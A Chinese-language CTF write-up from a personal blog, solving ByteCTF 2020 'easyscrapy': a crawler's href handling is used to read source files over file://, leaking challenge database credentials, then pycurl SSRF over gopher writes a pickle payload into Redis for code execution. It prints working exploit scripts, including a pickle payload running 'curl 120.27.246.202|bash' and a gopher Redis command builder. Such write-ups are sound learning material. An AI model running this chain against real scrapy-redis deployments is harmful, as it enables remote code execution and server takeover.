抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

这次ByteCTF的web题难度属实离谱。好几道题几乎都无法下手。自己第一天主要是看了easyscrapy以及配了beaker的环境(结果根本操作不起来,于是放弃了……)第二天上午在配scrapy的环境,一直到下午才出思路,基本上给我几小时就能出了。然而因为要赶飞机结果没时间做了……晚上到了后总归是把题目做出来了。只能说有点可惜,不然可以为小绿草拿个三/四血的。

这里我分享下自己一路下来的主要思路吧。希望能对他人有所帮助。另外写文章时环境已经关了,没啥图,将就着看吧

fuzz

首先题目本身给出了一个功能可以让我们输入url以及一个验证码,但是注意到这里cookie是flask的session,存储的内容与每次页面回显的验证码一致。所以首先我们可以找到减少后面的工作的方法,就是带上固定的cookie写脚本进行存储url的操作。

import string, hashlib
import requests
import re
import sys
import time

URL='http://39.102.69.151:30010/'


cookies={'session':'eyJjb2RlIjoiZTFiMmQ5IiwidXNlciI6IjVhNTkwZjVhLTE2ZjgtMTFlYi1hYThhLTAyNDJhYzE0MDAwNiJ9.X5XSBA.z2Nn4le-aOsM8jg82j7gMzfzhSc'}
def brute(code):
    a = string.digits + string.ascii_lowercase + string.ascii_uppercase
    for i in a:
        for j in a:
            for k in a:
                for m in a:
                    for n in a:
                        p = i + j + k + m + n
                        s = hashlib.md5(p.encode('utf-8')).hexdigest()[0:6]
                        if s == code:
                            print(p)
                            return p


def send():
    r=requests.get(URL,cookies=cookies)
    varify=re.findall(r'<span>substr\(md5\(\$str\), 0, 6\) === (.*)</span>',r.text)[0]
    return varify


def push(url,code):
    r=requests.post(url=URL+'push',cookies=cookies,data={'url':url,'code':code})
    print(r.text)
#code=brute(send())
#print(code)
push('http://120.27.246.202/',code)
#push('http://127.0.0.1:','0AUDp')

爆破一次后就可继续用了。

之后发现,当输入完url存储后,urllist中会存在我们刚刚输入的url。之后点击则会前往/result?url=xxxx.似乎是一个ssrf的点。

第一天上午的话,感觉爬什么都爬不到。但是当时往自己的vps上打的时候倒是有意外的发现
当时的笔记:

意外发现了scrapy_redis以及pycurl。正如上面所说,url数据似乎是被存到redis然后被爬虫给爬了。而后面/result?url则是动用了另一种功能进行pycurl的请求。

这里pycurl无疑是值得注意的,因为pycurl本质上似乎是跟调用curl一样的。那么可以使用gopher协议。

这样一来当然就想探测redis了。不过经过尝试,会发现没有任何回显。关于版本等等信息也是一无所知。

此时再次实验打自己,我发现当更换自己服务端的内容时,/result所显示的页面并没改变。

联系到上面的scrapy_redis,我们不难推测,scrapy会爬我们存储的那个url,并将当时的内容缓存(后面会发现是mongodb)。所以这就导致,反复用result页面请求url并不会改变回显内容。充其量调用了pycurl请求而已。

那么,到此我们对整个服务的构架有了大概的思路

  1. 存在爬虫bot
  2. 存在redis
  3. 可能存在某数据库
  4. pycurl 是web服务请求,scrapy_redis是爬虫bot请求

但是这些信息非常局限。首先只有存进redis的数据才会被爬虫请求,这里python没有crlf必然打不了redis.而pycurl虽然可以用gopher那一套打,但是内网信息未知,且没有回显。

这时我开始尝试性爬一些网站。讽刺的是baidu能爬它自己的bytedance爬不了2333. 然后爬本机127.0.0.1也完全没有内容(因为bot开了端口的服务实际上只有一个6023的telnet,打了会提前报错,一样无回显)

那么,不妨尝试下打它的公网ip?这时我发现一个奇怪的现象。
当我输入它的公网ip存进redis后,它除了本身,还读取了/list的页面。

那么这是为什么呢?我简单看了下页面。发现里面存在<a href="/list"></>
看来,爬虫端是会根据<a href="xxx"></a>进行进一步爬取.经过经典的实验打自己,发现的确它会顺着这个href进行请求。

此时已经知道href有猫腻了。然后出题人已经放出了第一个hint。就是尝试读源码。

那么我们不妨尝试下,顺着这个href+file协议进行源码的阅读?

leak source code

在自己的服务器上存储

<html><a href="file:///etc/passwd"></a></html>

接着上面的脚本跑一遍。一把梭解决问题。
再次访问/result。发现读到了/etc/passwd

既然如此,我们依次读下其他内容
/proc/self/cmdline

/bin/bash run.sh

/proc/self/environ
得知当前PWD是/code

/code/run.sh

#!/bin/bash
scrapy crawl byte

使用的是scrapy框架进行爬取。

此时开始自己盲目的读结果发现啥都没读到,想了想发现这个爬虫bot可能只有这么一个命令在运行。那么我应该去查找scrapy的文档
我们找到scrapy官方文档

显然我们只需读取scrapy.cfg就能拿到scrapy项目名并读取到下面所有文件。不过spider的名字似乎是自定义的



前面命令行执行的是scrapy crawl byte那么可以确认spider的name是byte.文件名也可能是byte.

# Automatically created by: scrapy startproject
#
# For more information about the [deploy] section see:
# https://scrapyd.readthedocs.io/en/latest/deploy.html

[settings]
default = bytectf.settings

[deploy]
#url = http://localhost:6800/
project = bytectf

其他内容也都一并读取。
完整的文件我会放自己github上。包括redis跟mongodb的docker

此时我通过pipelines.py与settings.py分别得到了mongodb与redis的配置

//pipelines.py
import pymongo

class BytectfPipeline:

    def __init__(self):

        MONGODB_HOST = '127.0.0.1'
        MONGODB_PORT = 27017
        MONGODB_DBNAME = 'result'
        MONGODB_TABLE = 'result'
        MONGODB_USER = 'N0rth3'
        MONGODB_PASSWD = 'E7B70D0456DAD39E22735E0AC64A69AD'
        mongo_client = pymongo.MongoClient("%s:%d" % (MONGODB_HOST, MONGODB_PORT))
        mongo_client[MONGODB_DBNAME].authenticate(MONGODB_USER, MONGODB_PASSWD, MONGODB_DBNAME)
        mongo_db = mongo_client[MONGODB_DBNAME]
        self.table = mongo_db[MONGODB_TABLE]



    def process_item(self, item, spider):

        quote_info = dict(item)
        print(quote_info)
        self.table.insert(quote_info)
        return item
//settings.py
BOT_NAME = 'bytectf'
SPIDER_MODULES = ['bytectf.spiders']
NEWSPIDER_MODULE = 'bytectf.spiders'
RETRY_ENABLED = False
ROBOTSTXT_OBEY = False
DOWNLOAD_TIMEOUT = 8
USER_AGENT = 'scrapy_redis'
SCHEDULER = "scrapy_redis.scheduler.Scheduler"
DUPEFILTER_CLASS = "scrapy_redis.dupefilter.RFPDupeFilter"
REDIS_HOST = '172.20.0.7'
REDIS_PORT = 6379
ITEM_PIPELINES = {
 'bytectf.pipelines.BytectfPipeline': 300,
}

以及主要的爬虫逻辑。知道了文件读取的漏洞所在

import scrapy
import re
import base64
from scrapy_redis.spiders import RedisSpider
from bytectf.items import BytectfItem

class ByteSpider(RedisSpider):
    name = 'byte'

    def parse(self, response):
        byte_item = BytectfItem()
        byte_item['byte_start'] = response.request.url
        url_list = []
        test = response.xpath('//a/@href').getall()
        for i in test:
            if i[0] == '/':
                url = response.request.url + i
            else:
                url = i
            if re.search(r'://',url):
                r = scrapy.Request(url,callback=self.parse2,dont_filter=True)
                r.meta['item'] = byte_item
                yield r
            url_list.append(url)
            if(len(url_list)>3):
                break
        byte_item['byte_url'] = response.request.url
        byte_item['byte_text'] = base64.b64encode((response.text).encode('utf-8'))
        yield byte_item

    def parse2(self,response):
        item = response.meta['item']
        item['byte_url'] = response.request.url
        item['byte_text'] = base64.b64encode((response.text).encode('utf-8'))
        yield item

可是这有什么用呢……我们一样不知道flag在哪。目前看来,如果flag在bot机器上,那么只有可能会是打redis。并且按照我自己的少数经验,一般是搭配pickle反序列化rce才有可能。但是这里并没有明显的pickle反序列化代码。

此时陷入僵局,只有本地调试一下看看有没有意外发生了。

Run it locally

这道题最重要的一点恐怕就是本地跑了。毕竟此时我们对环境一无所知,我唯一能想到的getshell方法也只有pickle反序列化了。那么试试本地,看看有没有键存了pickle序列化后的数据?这样一来必然有某个地方存在反序列化。

经过一番折腾后。我简单写了个起mongodb的docker.因为redis跟爬虫本地起比较轻松,我又不想改代码。
(后面比赛结束时写了个完整版的,直接起应该跟线上的bot+redis+mongo环境基本一致了)
docker-compose.yml

version: '3'
services:
    mongodb:
      image: mongo:4.2
      container_name: py_db
      restart: always
      environment:
        MONGO_INITDB_ROOT_USERNAME: root
        MONGO_INITDB_ROOT_PASSWORD: root 
        MONGO_INITDB_DATABASE: result
      volumes:
        - ./mongo-init.js:/docker-entrypoint-initdb.d/mongo-init.js:ro

同目录下mongo-init.js

var data={"test":"123"}//just for test
db.result.drop();
db.result.insert(data);
db.createUser({
    user: "N0rth3",
    pwd:  "E7B70D0456DAD39E22735E0AC64A69AD",
    roles: [ { role: "readWrite", db: "result", collection:"result" }]
});

简单改下爬虫的redis/mongodb ip ,就能开跑了

然后此时我发现一点动静的都没有。感觉非常奇怪。倒是看到scrapy它在准备读byte:start_urls

既然如此那set xx xxx试试看好了。结果突然发现爬虫直接异常退出?

看了下报错。似乎是在执行redis的LPOP操作报错的。那可能是数据类型的问题了。找了下一篇文章发现了原因。

https://blog.csdn.net/zwq912318834/article/details/78854571
它爬虫的逻辑跟我们的基本一致。属于分布式爬虫。即等待redis中出现redis_key再进行爬取。
而这里因为不是简单的从字符串进行读取,而是从一个队列里读一个元素。那么自然不会读到内容了。

期间,转战虚拟机起服务。这一次我们用脚本写入数据。其实就是执行lpush而已。

#!/usr/bin/env python
# -*- coding:utf-8 -*-

import redis

redis_Host = "127.0.0.1"
redis_key = 'byte:start_urls'
rediscli = redis.Redis(host = redis_Host, port = 6379, db = "0")
rediscli.lpush(redis_key, "http://www.baidu.com")

这时就可以成功写入,爬取数据,并将数据存进mongodb。
这里我再尝试打一遍redis跟mongodb。发现跟服务端远程是一致的。打redis会提前报错终止,打mongodb会有回显

不过这里redis因为lpop这个操作。导致我写入的这个list很快就会消失。它存的也不是pickle数据。那么要怎么rce?此时再度陷入僵局

此时官方放出第三个hint scrapy_redis,题目仍是0解。我开始想scrapy_redis我第一天上午就发现了还需要提示?但是转念想会不会我想要的pickle操作存在于scrapy_redis呢?

https://github.com/rmax/scrapy-redis

于是。我用scrapy-redis github上的example-project跑了遍。这个demo是指定了url一直在爬的。于是当我连进redis时,我发现了3个键。并且当我查看他们的时候,终于发现了心心念念的内容也就是pickle的序列化数据。

既然存在pickle序列化的数据。那么必然某个地方会反序列化它。这样一来rce的链条立马就清楚了。设置键 -> pickle rce 跟pwnhub6月赛差不多了。

但是本地为什么没有byte:requests出现呢?我怀疑是因为每次只传入一个url。导致存活时间极短。那么我们不妨用大量数据填充进redis。方法也很简单,上面的脚本加个for循环200次就好了。然后我们在redis里执行几次看看zrange byte:requests 0 1

既然如此。利用链就清楚了:想办法写入byte:requests键,内容为序列化数据。
而写入键唯有pycurl的ssrf可以做到。

下面就是利用了

ssrf -> rce exploit

这里我们首先尝试一下直接写入byte:requests会怎么样。然后惊喜的发现只要写入就会直接触发反序列化。那么也就是说直接利用/result?url就可以打了。

然后推测一波版本,这里我打远程用的protocol协议为2.0的pickle成功了。当时getshell没看python版本,估计是2.7.(scrapy 一般在2.7 或3.5/3.6跑)

一个比较头疼的点是如何写入opcode的16进制数据。之前pwnhub6月赛时写pickle数据是因为crlf比较简单。可以直接加个引号括起来写。这里我们只能gopher打。那么转数据时出了不少麻烦。最后我简单改了下redis-ssrf这个脚本的内容。用python2 跑。确认它不会像python3那样自动转义我的16进制字符串。终于构造出可以打的payload

python3 运行以得到pickle 16进制序列化数据。py2的直接写貌似有点问题。

import pickle
import os

class exp(object):
    def __reduce__(self):
        s = """curl 120.27.246.202|bash"""
        return (os.system, (s,))

e = exp()
s = pickle.dumps(e,protocol=2)
print(s)

python2 运行 convert.py
注意我们执行的是zadd。因为之前本地已经知道了requests是zset类型数据。

from urllib import quote

def set_key(key,payload):
    cmd=[
    "zadd {0} 1 {1}".format(key,payload),
    "quit"
    ]
    return cmd

def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x)))+CRLF+x
    cmd+=CRLF
    return cmd


def generate_payload():
    key = "byte:requests"
    payload ="""\x80\x02cposix\nsystem\nq\x00X\x18\x00\x00\x00curl 120.27.246.202|bashq\x01\x85q\x02Rq\x03.""".replace(' ','\x12')
    cmd=set_key(key,payload)
    protocol="gopher://"

    ip="172.20.0.7"
    port="6379"

    payload=protocol+ip+":"+port+"/_"

    for x in cmd:
        payload += quote(redis_format(x).replace("^"," "))
    return payload

if __name__=="__main__":
    passwd = ''
    p=generate_payload()
    print(p.replace('%12','%20'))

一个小坑是我的空格总是会被错转。于是干脆先把空格填充一下最后再换回%20即可。

打本地成了后,远程必然没有问题了。
最后因为get传参,我们注意二次url编码即可。执行命令curl xxx|bash
(读文件确认有bash,pycurl确认有curl,同时之前把命令往tmp下写时发现有readflag)

getshell :)

summary

所以非常可惜。利用链想好后结果去赶飞机错过了比赛中解出的机会。不过思路还是很考验人的。题目质量很高。就是本地环境有点磨人。。。

最后分享下我按照源码搭好的docker环境。
https://github.com/baiyecha404/CTFWEBchallenge/tree/master/bytectf2020/easyscrapy

评论